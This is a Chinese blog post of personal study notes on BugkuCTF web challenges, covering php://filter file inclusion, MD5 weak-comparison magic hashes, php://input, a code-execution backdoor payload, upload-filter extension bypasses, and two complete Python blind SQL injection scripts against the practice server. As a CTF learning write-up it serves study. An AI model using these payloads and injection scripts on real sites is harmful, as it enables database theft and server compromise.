BUGKU练习

认真你就输了,一直认真你就赢了。

前言:

此文用于记录做BugkuCTF时遇到的知识,主要为了巩固和查阅。


记录各种知识

1.stripos(字符串a,字符串b)函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)
2.file_get_contents 将整个文件读入一个字符串
3.eregi("111".substr($b,0,1),"1114") 判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的
4.关于正则:

5.常见web源码泄露总结
6.mysql_real_escape_string(): PHP mysql_real_escape_string() 函数
7.get_magic_quotes_gpc()与addslashes()


bugku 变量1

http://123.206.87.240:8004/index1.php
flag In the variable !
 <!--?php   
error_reporting(0);                    // 关闭php错误显示
include "flag1.php";                   // 引入flag1.php文件代码
highlight_file(__file__);              //对文件进行语法高亮显示
if(isset($_GET['args'])){              // 条件判断 get方法传递的args参数是否存在 
    $args = $_GET['args'];             //赋值给变量  $args
    if(!preg_match("/^\w+$/",$args)){  //判断是否匹配 /^开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] , +将前面的字符匹配一次或多次,$/结尾
        die("args error!");            //,不匹配则输出args error!
    }
    eval("var_dump($$args);");         // 将字符串作为php代码执行,结尾加分号。 var_dump()函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。$$args 可以理解为$($args)
}
?-->

最关键的是最后的eval("var_dump($$args);"); 其中

  • eval将字符串作为php代码执行,结尾加分号。 
  • var_dump()函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。如果是数组,将递归展开值,通过缩进显示其结构。

  • $$args 可以理解为$($args) 这是可变变量的意思,即$args的值是另一个变量的变量名。而$$args代表另一个变量的值。

上图表明:变量b的是变量a的,所以$$b则为变量a的

此题提示为:flag In the variable ! 需要输入变量arg的值,而且用到了可变变量,说明变量arg的值应该为另一个变量的名(在这此变量只能是全局变量)

PHP的九大全局变量

  1. $_POST [用于接收post提交的数据]
  2. $_GET [用于获取url地址栏的参数数据]
  3. $_FILES [用于文件接收的处理,img最常见]
  4. $_COOKIE [用于获取与setCookie()中的name值]
  5. $_SESSION [用于存储session的值或获取session中的值]
  6. $_REQUEST [具有get,post的功能,但比较慢]
  7. SERVER[是预定义服务器变量的一种]
  8. $GLOBALS [一个包含了全部全局变量的全局组合数组]
  9. $_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它]

此题为全局变量$GLOBALS&nbsp;,PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的


bugku flag在index里

1.文件包含漏洞: 此题学习关于文件包含漏洞。
2.点击显示test5的url http://120.24.86.145:8005/post/index.php?file=show.php中参数有file选项,联想到了文件包含漏洞。
3.构造:http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 返回指定文件源码:

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

进行转码:即得到flag

    <title>Bugku-ctf</title>
    
<!--?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php"-->click me? no';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>


具体说说file=php://filter/read=convert.base64-encode/resource=index.php的含义
首先:

1.首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
2.通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
3.而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。
自:https://blog.csdn.net/zpy1998zpy/article/details/80585443

关于文件包含:

  1. BugkuCTF-WEB-flag在index里
  2. 谈一谈php://filter的妙用
  3. 配合php伪协议利用文件包含漏洞

Bugku 备份是个好习惯

1.得到的字符串应该细心观察,此题的字符串分两段而且相同,均为d41d8cd98f00b204e9800998ecf8427e
2.提示备份,网站中应该存在相应文档,一般为.bak文档(bak为网站的备份文件)
3.可以使用御剑扫描(没成功)或脚本大佬写的脚本进行扫描。
4.得到文件index.php.bak,打开:

<!--?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//将url中?(包含?)后边的字符串赋值给变量str
$str = substr($str,1);//从第一个字符开始,后边的字符串赋值给变量str,去掉?
$str = str_replace('key','',$str);//使用空字符串替换$str中的key,过滤字段key
parse_str($str);//parse_str() 函数把查询字符串解析到变量中,即key1和key2
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?-->

5.分析代码:
(1)strstr() 返回关键字之后的字符串一直到末尾。
strstr(string,search,before_search) string(必须)被搜索的字符串,search(必须)关键字,beore_search(可选)默认为"false"的布尔值,如果设置为"ture",它将返回search参数第一次出现之前的字符串部分
(2)parse_str() 函数把查询字符串解析到变量中 parse_str(string,array) 如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量,这里即覆盖到key1和key2
(3)其他函数分析,请参考:BugkuCTF –WEB-备份是个好习惯

6.最后的条件判断为关键,即想办法满足if(md5($key1) == md5($key2) && $key1 !== $key2)这个条件,这个条件的意思是,通过参数对key1,key2的值进行md5加密,并进行比较,如果md5加密的值一样而未加密的值不同,就输出flag。此外,需要绕过过滤,可用kekeyy
7.要满足条件有两种方法:
(1)md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
(2)利用==比较漏洞,如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是0,都是相等的。有:

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514

8.尝试:
(1)http://123.206.87.240:8002/web16/index.php?kkeyey1[]=something&kkeyey2[]=anything

(2)http://123.206.87.240:8002/web16/index.php?kekeyy1=s878926199a&kekeyy2=s155964671a

  1. BugkuCTF –WEB-备份是个好习惯
  2. php 弱类型总结
  3. PHP 类型比较表

Bugku never give up

【Bugku CTF】 Web —— never give up(写的很细,多看看)


Bugku welcome to the bugkuctf

此题不知怎的,老没反应,以后再试试。
1.了解关于序列化与反序列化
serialize() 产生一个可存储的值的表示,serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。
unserialize() 从已存储的表示中创建 PHP 的值,即对单一的已序列化的变量进行操作,将其转换回 PHP 的值。

2.学习 php://input协议:

在这里:

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  

当传进去的参数(txt)作为文件名变量($user)去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取。

大致的意思是让txt=php://input 之后,再post过去一个字符串作为内容。

3.file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)所以使用上面的方法才可以达到题目的要求。

CTF/CTF练习平台-welcome to bugkuctf


Bugku 过狗一句话

1.关于explode() exlpde()以#分割a#s#s#e#r#t为相应数组

2.解题payload:
?s=print_r(scandir('./')) 查看当前目录内容,然后在访问相应内容即可。
3.技巧:利用此漏洞查询其他内容
返回上级目录payload:?s=print_r(scandir('../')) 依次访问相应的内容即可。

过狗一句话

Bugku getshell

这次还是没直接做出来,之前做过类似的,用php5就绕过了,这个要修改三个地方:
1、扩展名
2、Content-Type:image/jpeg(如果上传前的本就是图片则不需要)
3、Content-Type字段,进行大小写绕过,也就是把multipart/form-data中任意一个字母改成大写即可
关于扩展名:
可尝试php2, php3, php4, php5,phps, pht, phtm, phtml

上传绕过各种姿势


Bugku INSERT INTO注入

1.题目给了源码:

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

可知这是X_FORWARDED_FOR注入,但是过滤了, (在10行的时候$ip被截取了$ip_arr = explode(',', $ip); explode函数的作用是按规则拆分为数组) 在,被过滤的情况下,无法使用if语句。同时,也无法使用substr()

2.寻找替代:
if 可用select case when xxx then xxx else xxx end;替代
substr可以使用from 1 for 1替代

3.开始构造,发现回显的是IP,且已知为X_FORWARDED_FOR注入,构造语句用于insert into语句中,加上没有错误回显。所以,考虑时间延迟型盲注:这种注入手动太麻烦,需要脚本:
4.时间延迟型盲注:

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import string
import requests

# 引入所有可打印字符
allString = string.printable
print(allString)
url = "http://123.206.87.240:8002/web15/"
# data = "11' + (select case when (substr((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end)) #"
# 上面的为+号,也可以。但+号不是连接,就是单纯的加。
# 在MySQL中,若为数字型字符加,会转变为相应数字再相加,若为字符串,则返回0 此外 --+发现不行

# 查询数据库名,得 web15
# data = "11' and (select case when (substr((select database()) from {0} for 1 )='{1}') then sleep(4) else 1 end )) #"

# 查询存在的表,得 client_ip,flag
# data = "11' and (select case when (substr((select group_concat(table_name) from information_schema.tables where table_schema='web15') from {0} for 1 )='{1}') then sleep(4) else 1 end )) #"

# 查字段 得 flag
# data = "11' and (select case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from {0} for 1 )='{1}') then sleep(4) else 1 end )) #"

# 查内容,即查flag cdbf14c9151d5be5612f7bb5d2867853
data = "11' and (select case when (substr((select group_concat(flag) from flag) from {0} for 1 )='{1}') then sleep(4) else 1 end )) #"
flag = ""
# 这里没有查各个内容的具体长度,而是使用了一个较大的值39,当爆相关内容的时候,若结束,后面的查询便不变,自己结束运行即可。
# 假设flag长度最大不超过38,实际上长度为32
for i in range(1, 39):
    print("正在猜测第%d个字符:" % (i))
    for ch in allString:
        # format是格式化输出语句,i给到data语句的{0}位置,ch给到{1}的位置。
        words = data.format(i, ch)
        header = {
            # 将伪造的注入命令传入X-Forward-For进行注入
            "x-forwarded-for": words
        }
        try:
            # 如果对了,会执行sleep(4) 对脚本来说属于异常,就跳到异常
            result = requests.get(url, headers=header, timeout=3)
        except:
            flag += ch
            print(flag)
            # 当找到对应字段后,立即结束此字段的查询
            break

5.成功获取flag


Bugku PHP_encrypt_1(ISCCCTF)

1.这个,还是的写脚本,不过这次是由加密函数写解密函数,而且解密函数挺简单的。不过在写时遇到不少坑,最主要的是在使用进行相关的编码或加密时,需要先转化为字节型字符串。因为python3里默认的strunicode,不解码便会出错。
2.直接给出代码:

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import base64
import hashlib

# 加密函数,由php更改而来
def encrypt(data):
    # 获取字符串“ISCC”的消息摘要,这里必须要进行编码,不然会报错,因为python3里默认的str是unicode
    # 报错为: Unicode-objects must be encoded before hashing 这是一种方法:"ISCC".encode("utf-8")
    # 下面还有另一种方法。
    key = hashlib.md5("ISCC".encode("utf-8")).hexdigest()
    # print(key)
    x = 0
    lenData = len(data)
    lenKey = len(key)
    char = ""
    # 循环使用key,这里是先生成完整的秘钥
    for i in range(lenData):
        if x == lenKey:
            x = 0
        char += key[x]
        x +=1
    # print(char)
    string = ""
    # 和秘钥进行模加运算,即加密,且加密后长度不变
    for i in range(lenData):
        string += chr((ord(data[i]) + ord(char[i])) % 128)
    # print(string)

    # 将加密后的内容在进行base64编码,并返回
    # 这是另一种转换为字节型字符串方法:bytes(string,encoding='utf-8')
    return base64.b64encode(bytes(string,encoding='utf-8'))

# 解密函数,根据加密过程构造
def decrypt(data):
    # 因为加密是模加运算,所以解密也是,而且秘钥相同,所以这里再次生成秘钥
    key = hashlib.md5("ISCC".encode("utf-8")).hexdigest()
    # 先将密文进行base64解码,得到的即为加密后的字符串
    # 注意:解码后的内容为字节型的,需要decode()转化为字符串
    deBase64 = base64.b64decode(data).decode()
    char = ""
    x = 0
    # 这里是生成秘钥
    for i in range(len(deBase64)):
        if x == len(key):
            x = 0
        char += key[x]
        x +=1
    flag = ""
    # 解密,减去相应的秘钥,若小于0,则需要加回128
    for i in range(len(deBase64)):
        tem = ord(deBase64[i])-ord(char[i])
        if tem < 0:
            tem += 128
        # 最后将对应字母的ASCII转回相应字符,并存入ans
        flag += chr(tem)
    return flag

if __name__ == '__main__':
    # 测试正确性:
    a = "qwert"
    a_cypher = encrypt(a)
    print('a的密文为-->', a_cypher)
    a_plain = decrypt(a_cypher)
    print("恢复明文为-->", a_plain)
    # 解题,直接调用解密函数
    res = decrypt('fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=')
    print("结果为:",res)


3.得到flag


bugku sql注入2

1.题目一开始就提示为全都过滤了,只有 !,!=,=,+,-,^,%等没有过滤。
2.试了多次,发现按基本的注入行不通,因为各种注入型都或多或少需要and,or,where等,所以只能考虑从密码入手。
3.那应该怎么做,自己真的没想到,但发现不同错误回显不同。

方法一

1.参考大佬博客:BUGKU中的sql注入2, 原来还可这么用:
其实也是自己不会变通,在上面的insert into注入题目中,发现了在MySQL中,若为数字型字符加,会转变为相应数字再相加,若为字符串,则返回0

2.这里正是运用了这个原理,下面具体尝试相关内容:

3.构造语句为:

这里在注入中构造为:admin'+语句+' 加上后面的''是为了语句能够正常执行,否则会报错:

4.进行加减的各种情况:

表明:若以数字开头就转为相应的数字,否则为0

5.会用了加减号,但是构造时,,也是过滤的,要一个一个字符试出来。
之前可以这样绕过substr(database()from(1)for(1))==substr(database(),1,1) 可是现在for也被过滤了(有or)。

这里可使用substr(database()from(1)),如果默认不加后面的参数的话他会返回后面所有的字符串,但是,如果取其ASCII码时会默认取第一个字符的ASCII码,所以可用。

6.好了,现在尝试语句是否构造成功,先看数据库第一个字符:构造admin'-(ascii(substr(database()from(1)))=ascii('a'))-'

显示密码错误,说明(ascii(substr(database()from(1)))=ascii('a'))结果为0,运算0-0-0=0后,没有任何用户密码为as,故提示密码不正确。即第一个字符不是字符a

显示为用户名错误,说明(ascii(substr(database()from(1)))=ascii('a'))结果为1,运算0-1-0=-1后,没有用户名为-1的用户,说明第一个字符即是c
这里其实是用BurpSuite直接爆得的,但因为返回的长度都是相等的(password error!!@_@username error!!@_@长度相等),所以得一个一个查看返回信息。个人觉得相对于一个一个字母输还是比较方便的。

7.语句构造成功,现在直接脚本爆破密码:

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests as rq
import string

flag = ""
url = 'http://123.206.87.240:8007/web2/login.php'
cookie = {
    'PHPSESSID': 'ugi4pbrvso1cmp652ijne95k32qjsp38'
}

for i in range(1, 39):
    print("正在测试第%d个字符:" % i)
    for j in string.printable:
        # 先看看数据库名,用于测试脚本,发现当测试的字符为单引号和反斜杠时,也会存入flag中。
        # 出现这样的情况,一般表明已经测试完成,因为不管是什么字段,都不太可能用这些字符。
        # uname1 = "admin'-(ascii(substr(database()from({0})))=ascii('{1}'))-'"

        # 由于过滤太狠了,这里直接从密码下手,爆出密码,后面出现单引号说明已经结束
        uname1 = "admin'+(ascii(substr((passwd)from({0})))=ascii('{1}'))+'"
        uname2 = uname1.format(i, j)
        data = {'uname': uname2, 'passwd': 'as'}
        r = rq.post(url=url, data=data, cookies=cookie)
        if "username error!!@_@" in r.text:
            flag += j
            print(flag)
            break

得到:

长度为32,应该是md5,找个网站解一下就好。然后将密码登录,按提示执行ls即出flag。

这里发现结束后查出的为单引号,看一下怎么回事:
当测试字符为单引号时,语句为admin'-(ascii(substr(database()from(9)))=ascii('''))-' 这时相当于多了一个单引号,引号不闭合,导致出错,但是依然满足脚本条件,所以打印出来了。

原来以为是这种情况,就是测出了所以字符后,没有字符了(图片中数据库名为security,共8个字符)但这里不是,这里了解一下就好。

方法二

1.这道题也属于典型的DS_Store源码泄露,当然还有其他类型(常见web源码泄露总结)
2.DS_Store下载地址:https://github.com/lijiejie/ds_store_exp 
3.直接用脚本跑:python2 ds_store_exp.py http://123.206.87.240:8007/we b2/.DS_Store

4.访问:123.206.87.240:8007/web2/flag 得flag:

  1. BUGKU中的sql注入2
posted @ 2021-12-12 17:33  煊奕  阅读(355)  评论(0编辑  收藏  举报